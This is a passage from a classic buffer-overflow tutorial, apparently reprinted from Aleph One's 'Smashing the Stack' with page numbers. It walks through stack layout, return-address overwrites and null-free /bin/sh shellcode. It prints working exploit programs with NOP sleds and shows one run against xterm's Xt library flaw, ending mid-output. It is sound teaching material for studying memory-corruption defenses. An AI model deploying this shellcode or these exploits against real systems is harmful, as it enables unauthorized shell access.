word size. A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer is going to take 12 bytes (3 words) of memory. That is why SP is being subtracted by 20. With that in mind our stack looks like this when function() is called (each space represents a byte): bottom of top of memory memory buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] top of bottom of stack stack Buffer Overflows ~~~~~~~~~~~~~~~~ A buffer overflow is the result of stuffing more data into a buffer than it can handle. How can this often found programming error can be taken advantage to execute arbitrary code? Lets look at another example: example2.c ------------------------------------------------------------------------------ void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } ------------------------------------------------------------------------------ This is program has a function with a typical buffer overflow coding error. The function copies a supplied string without bounds checking by using strcpy() instead of strncpy(). If you run this program you will get a

44

segmentation violation. Lets see what its stack looks when we call function: bottom of top of memory memory buffer sfp ret *str <------ [ ][ ][ ][ ] top of bottom of stack stack What is going on here? Why do we get a segmentation violation? Simple. strcpy() is coping the contents of *str (larger_string[]) into buffer[] until a null character is found on the string. As we can see buffer[] is much smaller than *str. buffer[] is 16 bytes long, and we are trying to stuff it with 256 bytes. This means that all 250 bytes after buffer in the stack are being overwritten. This includes the SFP, RET, and even *str! We had filled large_string with the character 'A'. It's hex character value is 0x41. That means that the return address is now 0x41414141. This is outside of the process address space. That is why when the function returns and tries to read the next instruction from that address you get a segmentation violation. So a buffer overflow allows us to change the return address of a function. In this way we can change the flow of execution of the program. Lets go back to our first example and recall what the stack looked like: bottom of top of memory memory buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] top of bottom of stack stack

45

Lets try to modify our first example so that it overwrites the return address, and demonstrate how we can make it execute arbitrary code. Just before buffer1[] on the stack is SFP, and before it, the return address. That is 4 bytes pass the end of buffer1[]. But remember that buffer1[] is really 2 word so its 8 bytes long. So the return address is 12 bytes from the start of buffer1[]. We'll modify the return value in such a way that the assignment statement 'x = 1;' after the function call will be jumped. To do so we add 8 bytes to the return address. Our code is now: example3.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } ------------------------------------------------------------------------------ What we have done is add 12 to buffer1[]'s address. This new address is where the return address is stored. We want to skip pass the assignment to the printf call. How did we know to add 8 to the return address? We used a test value first (for example 1), compiled the program, and then started gdb: ------------------------------------------------------------------------------ [aleph1]$ gdb example3 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...

46

(no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x8000490 <main>: pushl %ebp 0x8000491 <main+1>: movl %esp,%ebp 0x8000493 <main+3>: subl $0x4,%esp 0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp) 0x800049d <main+13>: pushl $0x3 0x800049f <main+15>: pushl $0x2 0x80004a1 <main+17>: pushl $0x1 0x80004a3 <main+19>: call 0x8000470 <function> 0x80004a8 <main+24>: addl $0xc,%esp 0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp) 0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax 0x80004b5 <main+37>: pushl %eax 0x80004b6 <main+38>: pushl $0x80004f8 0x80004bb <main+43>: call 0x8000378 <printf> 0x80004c0 <main+48>: addl $0x8,%esp 0x80004c3 <main+51>: movl %ebp,%esp 0x80004c5 <main+53>: popl %ebp 0x80004c6 <main+54>: ret 0x80004c7 <main+55>: nop ------------------------------------------------------------------------------ We can see that when calling function() the RET will be 0x8004a8, and we want to jump past the assignment at 0x80004ab. The next instruction we want to execute is the at 0x8004b2. A little math tells us the distance is 8 bytes. Shell Code ~~~~~~~~~~ So now that we know that we can modify the return address and the flow of execution, what program do we want to execute? In most cases we'll simply want the program to spawn a shell. From the shell we can then issue other commands as we wish. But what if there is no such code in the program we are trying to exploit? How can we place arbitrary instruction into its address space? The answer is to place the code with are trying to execute in the buffer we are overflowing, and overwrite the return address so it points back into the buffer. Assuming the stack starts at address 0xFF, and that S stands for the code we want to execute the stack would then look like this:

47

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| top of bottom of stack stack The code to spawn a shell in C looks like: shellcode.c ----------------------------------------------------------------------------- #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------------ To find out what does it looks like in assembly we compile it, and start up gdb. Remember to use the -static flag. Otherwise the actual code the for the execve system call will not be included. Instead there will be a reference to dynamic C library that would normally would be linked in at load time. ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp

48

0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc <__execve> 0x8000153 <main+35>: addl $0xc,%esp 0x8000156 <main+38>: movl %ebp,%esp 0x8000158 <main+40>: popl %ebp 0x8000159 <main+41>: ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------ Lets try to understand what is going on here. We'll start by studying main: ------------------------------------------------------------------------------ 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp This is the procedure prelude. It first saves the old frame pointer, makes the current stack pointer the new frame pointer, and leaves space for the local variables. In this case its: char *name[2];

49

or 2 pointers to a char. Pointers are a word long, so it leaves space for two words (8 bytes). 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) We copy the value 0x80027b8 (the address of the string "/bin/sh") into the first pointer of name[]. This is equivalent to: name[0] = "/bin/sh"; 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) We copy the value 0x0 (NULL) into the seconds pointer of name[]. This is equivalent to: name[1] = NULL; The actual call to execve() starts here. 0x8000144 <main+20>: pushl $0x0 We push the arguments to execve() in reverse order onto the stack. We start with NULL. 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax We load the address of name[] into the EAX register. 0x8000149 <main+25>: pushl %eax We push the address of name[] onto the stack. 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax We load the address of the string "/bin/sh" into the EAX register. 0x800014d <main+29>: pushl %eax We push the address of the string "/bin/sh" onto the stack. 0x800014e <main+30>: call 0x80002bc <__execve> Call the library procedure execve(). The call instruction pushes the IP onto the stack. ------------------------------------------------------------------------------ Now execve(). Keep in mind we are using a Intel based Linux system. The syscall details will change from OS to OS, and from CPU to CPU. Some will pass the arguments on the stack, others on the registers. Some use a software

50

interrupt to jump to kernel mode, others use a far call. Linux passes its arguments to the system call on the registers, and uses a software interrupt to jump into kernel mode. ------------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx The procedure prelude. 0x80002c0 <__execve+4>: movl $0xb,%eax Copy 0xb (11 decimal) onto the stack. This is the index into the syscall table. 11 is execve. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Copy the address of "/bin/sh" into EBX. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx Copy the address of name[] into ECX. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx Copy the address of the null pointer into %edx. 0x80002ce <__execve+18>: int $0x80 Change into kernel mode. ------------------------------------------------------------------------------ So as we can see there is not much to the execve() system call. All we need to do is: a) Have the null terminated string "/bin/sh" somewhere in memory. b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word. c) Copy 0xb into the EAX register. d) Copy the address of the address of the string "/bin/sh" into the EBX register. e) Copy the address of the string "/bin/sh" into the ECX register. f) Copy the address of the null long word into the EDX register. g) Execute the int $0x80 instruction. But what if the execve() call fails for some reason? The program will continue fetching instructions from the stack, which may contain random data!

51

The program will most likely core dump. We want the program to exit cleanly if the execve syscall fails. To accomplish this we must then add a exit syscall after the execve syscall. What does the exit syscall looks like? exit.c ------------------------------------------------------------------------------ #include <stdlib.h> void main() { exit(0); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. ------------------------------------------------------------------------------ The exit syscall will place 0x1 in EAX, place the exit code in EBX, and execute "int 0x80". That's it. Most applications return 0 on exit to indicate no errors. We will place 0 in EBX. Our list of steps is now: a) Have the null terminated string "/bin/sh" somewhere in memory. b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word. c) Copy 0xb into the EAX register.

52

d) Copy the address of the address of the string "/bin/sh" into the EBX register. e) Copy the address of the string "/bin/sh" into the ECX register. f) Copy the address of the null long word into the EDX register. g) Execute the int $0x80 instruction. h) Copy 0x1 into the EAX register. i) Copy 0x0 into the EBX register. j) Execute the int $0x80 instruction. Trying to put this together in assembly language, placing the string after the code, and remembering we will place the address of the string, and null word after the array, we have: ------------------------------------------------------------------------------ movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here. ------------------------------------------------------------------------------ The problem is that we don't know where in the memory space of the program we are trying to exploit the code (and the string that follows it) will be placed. One way around it is to use a JMP, and a CALL instruction. The JMP and CALL instructions can use IP relative addressing, which means we can jump to an offset from the current IP without needing to know the exact address of where in memory we want to jump to. If we place a CALL instruction right before the "/bin/sh" string, and a JMP instruction to it, the strings address will be pushed onto the stack as the return address when CALL is executed. All we need then is to copy the return address into a register. The CALL instruction can simply call the start of our code above. Assuming now that J stands for the JMP instruction, C for the CALL instruction, and s for the string, the execution flow would now be: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of

53

memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) top of bottom of stack stack With this modifications, using indexed addressing, and writing down how many bytes each instruction takes our code looks like: ------------------------------------------------------------------------------ jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal array-offset,(%esi),%ecx # 3 bytes leal null-offset(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-to-popl # 5 bytes /bin/sh string goes here. ------------------------------------------------------------------------------ Calculating the offsets from jmp to call, from call to popl, from the string address to the array, and from the string address to the null long word, we now have: ------------------------------------------------------------------------------ jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes

54

movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes ------------------------------------------------------------------------------ Looks good. To make sure it works correctly we must compile it and run it. But there is a problem. Our code modifies itself, but most operating system mark code pages read-only. To get around this restriction we must place the code we wish to execute in the stack or data segment, and transfer control to it. To do so we will place our code in a global array in the data segment. We need first a hex representation of the binary code. Lets compile it first, and then use gdb to obtain it. shellcodeasm.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [aleph1]$ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main:

55

0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: jmp 0x800015f <main+47> 0x8000135 <main+5>: popl %esi 0x8000136 <main+6>: movl %esi,0x8(%esi) 0x8000139 <main+9>: movb $0x0,0x7(%esi) 0x800013d <main+13>: movl $0x0,0xc(%esi) 0x8000144 <main+20>: movl $0xb,%eax 0x8000149 <main+25>: movl %esi,%ebx 0x800014b <main+27>: leal 0x8(%esi),%ecx 0x800014e <main+30>: leal 0xc(%esi),%edx 0x8000151 <main+33>: int $0x80 0x8000153 <main+35>: movl $0x1,%eax 0x8000158 <main+40>: movl $0x0,%ebx 0x800015d <main+45>: int $0x80 0x800015f <main+47>: call 0x8000135 <main+5> 0x8000164 <main+52>: das 0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp 0x8000168 <main+56>: das 0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55> 0x800016b <main+59>: addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 0x8000133 <main+3>: 0xeb (gdb) 0x8000134 <main+4>: 0x2a (gdb) . . . ------------------------------------------------------------------------------ testsc.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc testsc.c

56

[aleph1]$ ./testsc $ exit [aleph1]$ ------------------------------------------------------------------------------ It works! But there is an obstacle. In most cases we'll be trying to overflow a character buffer. As such any null bytes in our shellcode will be considered the end of the string, and the copy will be terminated. There must be no null bytes in the shellcode for the exploit to work. Let's try to eliminate the bytes (and at the same time make it smaller). Problem instruction: Substitute with: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- Our improved code: shellcodeasm2.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes # 46 bytes total "); }

57

------------------------------------------------------------------------------ And our new test program: testsc2.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ ------------------------------------------------------------------------------ Writing an Exploit ~~~~~~~~~~~~~~~~~~ (or how to mung the stack) ~~~~~~~~~~~~~~~~~~~~~~~~~~ Lets try to pull all our pieces together. We have the shellcode. We know it must be part of the string which we'll use to overflow the buffer. We know we must point the return address back into the buffer. This example will demonstrate these points: overflow1.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

58

char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------------ What we have done above is filled the array large_string[] with the address of buffer[], which is where our code will be. Then we copy our shellcode into the beginning of the large_string string. strcpy() will then copy large_string onto buffer without doing any bounds checking, and will overflow the return address, overwriting it with the address where our code is now located. Once we reach the end of main and it tried to return it jumps to our code, and execs a shell. The problem we are faced when trying to overflow the buffer of another program is trying to figure out at what address the buffer (and thus our code) will be. The answer is that for every program the stack will start at the same address. Most programs do not push more than a few hundred or a few thousand bytes into the stack at any one time. Therefore by knowing where the stack starts we can try to guess where the buffer we are trying to overflow will be. Here is a little program that will print its stack pointer: sp.c

59

------------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------------ Lets assume this is the program we are trying to overflow is: vulnerable.c ------------------------------------------------------------------------------ void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } ------------------------------------------------------------------------------ We can create a program that takes as a parameter a buffer size, and an offset from its own stack pointer (where we believe the buffer we want to overflow may live). We'll put the overflow string in an environment variable so it is easy to manipulate: exploit2.c ------------------------------------------------------------------------------ #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); }

60

void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Now we can try to guess what the buffer and offset should be: ------------------------------------------------------------------------------ [aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$ ./vulnerable $EGG

61

Segmentation fault [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ As we can see this is not an efficient process. Trying to guess the offset even while knowing where the beginning of the stack lives is nearly impossible. We would need at best a hundred tries, and at worst a couple of thousand. The problem is we need to guess *exactly* where the address of our code will start. If we are off by one byte more or less we will just get a segmentation violation or a invalid instruction. One way to increase our chances is to pad the front of our overflow buffer with NOP instructions. Almost all processors have a NOP instruction that performs a null operation. It is usually used to delay execution for purposes of timing. We will take advantage of it and fill half of our overflow buffer with them. We will place our shellcode at the center, and then follow it with the return addresses. If we are lucky and the return address points anywhere in the string of NOPs, they will just get executed until they reach our code. In the Intel architecture the NOP instruction is one byte long and it translates to 0x90 in machine code. Assuming the stack starts at address 0xFF, that S stands for shell code, and that N stands for a NOP instruction the new stack would look like this: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| top of bottom of stack stack

62

The new exploits is then: exploit3.c ------------------------------------------------------------------------------ #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); }

63

------------------------------------------------------------------------------ A good selection for our buffer size is about 100 bytes more than the size of the buffer we are trying to overflow. This will place our code at the end of the buffer we are trying to overflow, giving a lot of space for the NOPs, but still overwriting the return address with the address we guessed. The buffer we are trying to overflow is 512 bytes long, so we'll use 612. Let's try to overflow our test program with our new exploit: ------------------------------------------------------------------------------ [aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ Whoa! First try! This change has improved our chances a hundredfold. Let's try it now on a real case of a buffer overflow. We'll use for our demonstration the buffer overflow on the Xt library. For our example, we'll use xterm (all programs linked with the Xt library are vulnerable). You must be running an X server and allow connections to it from the localhost. Set your DISPLAY variable accordingly. ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "ë^1¤FF ° óV ¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤

64

